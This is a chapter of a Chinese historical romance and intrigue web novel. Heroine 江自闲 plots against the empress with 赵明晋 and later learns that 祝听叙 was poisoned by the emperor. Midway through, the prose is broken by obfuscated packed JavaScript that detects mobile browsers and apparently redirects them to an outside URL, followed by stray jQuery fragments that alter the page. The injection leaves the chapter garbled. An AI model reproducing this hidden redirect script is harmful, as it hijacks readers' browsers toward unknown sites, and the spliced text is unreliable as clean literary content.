28. Chapter 028

江自闲静默站在院中石桥上,平静目光与赵明晋在空中相触,背后一枝青梅在风中簌簌抖落积雪。


“侯府的大门拦不住你。”陈述句,她的声音听不出喜怒。


赵明晋面对她无声地站着,没有言语没有回应。冬日晦暗不清的暮光落在他的发丝、衣角,照得衣袍上的金丝银线流光溢彩,而如今随着他僵立原地,连光都凝滞起来。他脸上的光亮被头顶回纹花牙子遮去大半,整张脸都隐没在了暗处,瞧不清神色。


良久,江自闲都已走下石桥,几乎要走上回廊时,他的袍裾上的霞光终于流动起来,缓步走下青石踏跺,让暖光落入了他的眼眸深处。


赵明晋的瞳色很浅,浅茶色的眼珠如同半透明的玻璃珠,将入眼的落晖折射出五光十色的璀璨色彩,为神色黯淡的沉瞳平添几分色彩。


赵明晋伸手隔着厚重保暖的衣物握住了江自闲的手腕,冰冷触感随着掌心一路冻到了心口般,他下意识一颤:“皇后要为你办一场赏花宴,给京城王侯门阀和高官权臣都递了帖子。”


“今日散朝的时候皇后召见我时说的。”江自闲任由着他牵着自己往里走,“皇后和端安侯夫人关系匪浅,硬是拉着我絮絮叨叨念叨了很久。她说我现在既是神女尊同公主,姻亲就要听从她和陛下的,用我娘亲在她手里的遗物威胁我,我不同意就烧了。”


江自闲小小撒了个谎,但赵明晋当了真,握在手腕上的力道明显加重:“所以,是皇后胁迫你,你才被迫答应的?”


“嗯,皇后那里有很多我娘亲的书信。我自幼在不居道长大,从未见过我娘亲。都说‘见字如晤’,我就……”江自闲声音愈渐低微下来,最后的尾音溺在喉间含糊而过。


江自闲其实不是那么感性的人,说这些不过是为了安抚赵明晋蒙混过关,方便拜托赵明晋去调查河北走廊。比起血缘骨肉的浓烈亲情,她对端安侯夫人更多的还是以身护国的敬仰。又或许是她全身的血在北征时下山助战时早已换过了几轮,又或许在她心里不居道才是家,自幼照料自己长大的情感更加深重。


“一场赏花宴而已。”赵明晋地声像是说给自己听一般,轻叹一声,拉着江自闲推门而入,“先用晚膳吧。”


宴客堂点了很多火烛,颜色长短各异,不少还描金雕花,应该不像是端安侯能掏得出来的样子,江自闲猜应该是赵明晋找人布置的。中央黄花梨圆桌定窑白瓷玉壶春中单枝金梅稀老疏含正是上品。


堂中没半个人影,一圈黑漆八方盘缀着几筷精雕细琢的小菜,中间几口用炭火咕嘟咕嘟煨着掌大的青瓷小锅蒸腾着热气,两副碗筷相对摆放,和前些日子在迢院用的晚膳瞧上去是同一风格。


还有事没有办完,江自闲没什么心思吃饭。她戳了戳碗里咬了一口的鲜笋,审视一圈桌上的佳肴美馔,最后落在对面的赵明晋身上:“你对河北走廊知道多少?”


“你查到和河北走廊有关?”赵明晋放下筷子,认真思考了一番,“那里商贾众多,河北商帮是大裕最活跃的商帮,由历州陈家王家、酩州李家姜家和鑫州余家白家六家组成,从前朝活跃至今,以历州的墨、酩州的酒以及鑫州的丝绸最为有名,并且经常和皇家有订单往来。”


“酩州李家?和皇后母族是什么关系?”江自闲抿着唇瓣间残存的甜香,问道。


“对,当今太后和皇后的祖辈就是酩州有名的酒商,从太后祖父李成伟科考高中榜眼留京为官后,李氏这一支就一直在京城扎根了。”赵明晋回忆道,“尚书左丞李明荣也经常提拔自己的学生去河北走廊一带,可能是为了行商方便,不过中间具体的不好说,我找了很多机会也没安排人进到那块地方去。”


赵明晋呷了口酒:“怎么,你觉得账本和河北走廊有关?”


“怀疑。”江自闲冲他潇洒举杯,“春阳说天山原战役里面对不上的钱粮和兵械最后都汇聚到了河北走廊那块,如果只是单纯的私吞银两倒是还好,最怕就是……”


“囤养私兵。”赵明晋咽下一口酒,分明是十年陈酿,滑过嗓子却带着一股辛辣,“我回去就安排人手去查。”


江自闲点点头,若有所指:“皇后娘娘说以后我的婚事由她和陛下定夺,若是她不同意你我在一起,怎么办?”


江自闲抿了抿唇。


现在两位皇子朝堂斗争局势尚且未见分晓,这时候决定嫁给赵明晋为时尚早,但比起自己的婚事被皇后插手,赵明晋倒是一把破局的好刀。


果不其然,赵明晋沉沉放下手中酒杯,抬眸望向江自闲的眼中带着一抹说不清楚的狠辣,说出的疑问句听上去却没有半分举棋不定:“你想要怎么做?扳倒皇后?”


那是江自闲第一次看见他露出这样的表情,也是江自闲第一次相信他确实有和太子对抗的能力。


江自闲勾唇:“我要她死。”


一旁的烧短的蜡烛烧到了头,“啪嗒”一声蜡泪滑落,摇摇晃晃暗了下去。


-


赵明晋没喝多少,大概是着急去安排河北走廊的事情,毕竟定安军很快就要裁军解散,这个时候正是往各地安插人手最好的时机。江自闲盯着边上七八坛好酒,左右手各自勾了一坛,招呼着安伯给自己备马,找祝听叙喝酒学习管理万门司的事务去了。


祝听叙一袭雪氅不离身,毛绒细密紧实,落在他身上瞧着却是轻薄,一条殷红的长带从锁骨中央落下,尾端垂落两块泪滴状的玉坠,压得严严实实。


他坐在水榭面,双手捧着暖炉摆在膝头,瞧上去乖顺安静,背后厚厚堆积的几尺白雪大概是故意留着的,几只斜梅肆意地开着。


江自闲在祝听叙边上盘腿坐下,觑了眼他手边腾着氤氲的白瓷杯,里面约莫还剩下半杯,夜色模糊瞧不清楚里面盛了些什么,黑漆漆的瞧不见碗底,凑近了才能闻到一股淡淡的草药清苦香。


祝听叙见她凑过来瞧,慢吞吞地将手从手炉的绵密绒毛中抽出来,低头端起了药呷了一口。细软墨黑的鬓发随着动作滑到眼前,很快又被那双苍白如羊脂白玉的指尖拨弄回耳后。江自闲抿酒瞧着,总觉得他要和后面的雪融到一块去。


她蹙着眉头,总觉得身边这位雪人就算是穿着如此蓬松的大氅,整个人都还是透着冷气,冷冰冰的,暖炉也捂不热半分。


“吃你这药,能喝酒吗?”江自闲皱着眉,抬手又给自己碗中满上,仰头喝了半碗。


她说话声音轻柔随性,似乎终于放松下来,又回到了曾经在鄜州不居道逃课的那位内门小师妹的样子。


祝听叙仰头把剩下的苦药一口饮尽,将装药的茶杯递到了江自闲面前,再开口说话的时候不免冒出些白雾来:“当然,之前在天枢院的时候经常需要出去喝酒应酬,我特意让府中的大夫研究出了不与世间任何一种酒相克的药来。”


江自闲凑过去给他斟酒,一阵夜风吹过,将祝听叙身上残留的药味尽数送入鼻腔,江自闲被苦得下意识皱眉,连倒酒的手都颤了颤,撒出了几滴酒水落在他的白绒上。江自闲一边帮他擦着披风上的酒水,一边小声吐槽:“啧,真苦。”


“习惯就好了,人活在世上哪有不苦的?不过是喝一壶药,就能解千百愁。”祝听叙满不在乎地拦住她手忙脚乱的手,随意掸了掸,“权衡利弊的尽头,其实还是妥协。”


“皇帝给你下的毒?”江自闲试探道


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271728|164556||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





夜空中的星辰格外明亮,西面那几颗暗下,东面的又亮起。江自闲抬头看着星星,原以为祝听叙不会回答,正准备喊一个话题,祝听叙却忽地“嗯”了一声。


声音实在轻得有些听不清楚,宛若一阵夜风就能吹散,江自闲还以为自己听错了,下意识回头,蓦地撞见祝听叙正笑着看向自己。


见她回头,祝听叙嘴角弧度愈发深重,幅度很小地点了点头。


江自闲看着他坦然的笑容,嘴角向上扯了扯。她原先以为自己知道真相之后会又猜中答案的惊喜,但真正听到了对方的肯定,江自闲却忽然心中泛起一丝心疼和异样。


有端安侯的前车之鉴,陛下肯定不会轻而易举地再将大权交给臣子,祝听叙之所以能够手握天枢院,成为陛下手中划向朝臣的利刃,自然是因为陛下有能握住这把利刃的柄——祝听叙身上的毒。


那么她呢?


同样是受召入京,同样是破例接手与自己官职不对等的权力……陛下是不是也早就知道她身上的毒?


陛下又想用她来做什么?


江自闲被祝听叙一句话弄得心头烦闷,仰头饮尽碗里余酒,“那大皇子和太子的争斗呢?也是陛下的意思?为什么?陛下不是最讨厌手足相残吗?还是说,陛下其实并没有觉得太子能够当好一个储君?”


酒香在风中快速飘散,就算是没有饮下,唇齿之间似乎都飘着一股淡淡的醉意。祝听叙握着茶杯的手微微一愣,犹豫了一下还是点了点头:“你今天既然见过春阳了,你就应该知道陛下心悦侯夫人,而侯夫人被皇后和太子所害。”


祝听叙总觉得自己对江自闲说了太多,似乎自己从第一次见到江自闲开始就卸下来太多防备,甚至于那天晚上他明知道江自闲房中的熏香会和自己体内余毒相克引出更多棘手的病症,但他就是心甘情愿地想要留在那里,好像只有这样才能让江自闲对自己有所信任。


“她们想害侯夫人的最重要一点,就是端安侯夫妇的存在威胁到了李家在朝堂的地位。加上那时候李明荣想要往端安十三军里安插几个亲信,端安侯当众严词拒绝。虽说端安侯是武将,到底曾是陛下伴读,亦是老太傅的学生,引经用典说得有些刻薄难听。”


“归根结底是李家容不下端安侯,也是李家害死了侯夫人。”祝听叙抿了口烈酒,轻咳清了清嗓子,“太子毕竟身上也留着李家的血,李家能逼迫皇后做事,那将来也能对太子指手画脚。”


“陛下是恨李家。”


江自闲静静听着祝听叙娓娓道来,一碗一碗的酒往下咽,听到最后醉意已是染上眉心眼尾。她摇摇晃晃地举起手中的酒杯,作势对天共饮,哈哈大笑两声:“……好借口。”


祝听叙瞧着人已然有了醉意,伸手握住江自闲高举的手腕,防止她一时手滑,手里的酒杯砸到了自己。


衣物随着高举的手下滑了不少,祝听叙就这么直接握上了皮肉。


腕间的温度低得可怕,指尖力道绵柔,仿佛真是冬雪般一吹即散。


“你怎么了?”直觉告诉江自闲这不对劲,她反手握住祝听叙的手腕,起身居高临下地注视着他的眼眸。


祝听叙冲她笑着眨了眨眼,带着水光的眼眸似乎比天上的星辰还要璀璨漂亮,他正要说话,就感觉江自闲的手贴上了自己的额头。


冰冰凉凉,怪舒服的。


祝听叙在心里迟钝地想着。


下一秒就感觉自己栽进了一个温暖舒服的怀抱,带着几分甜香馥郁的兰花香,暖暖的,贴在肌肤上温吞柔和。耳边传来江自闲讶异的惊呼:


“你额头好烫。……诶!你到底怎么了?”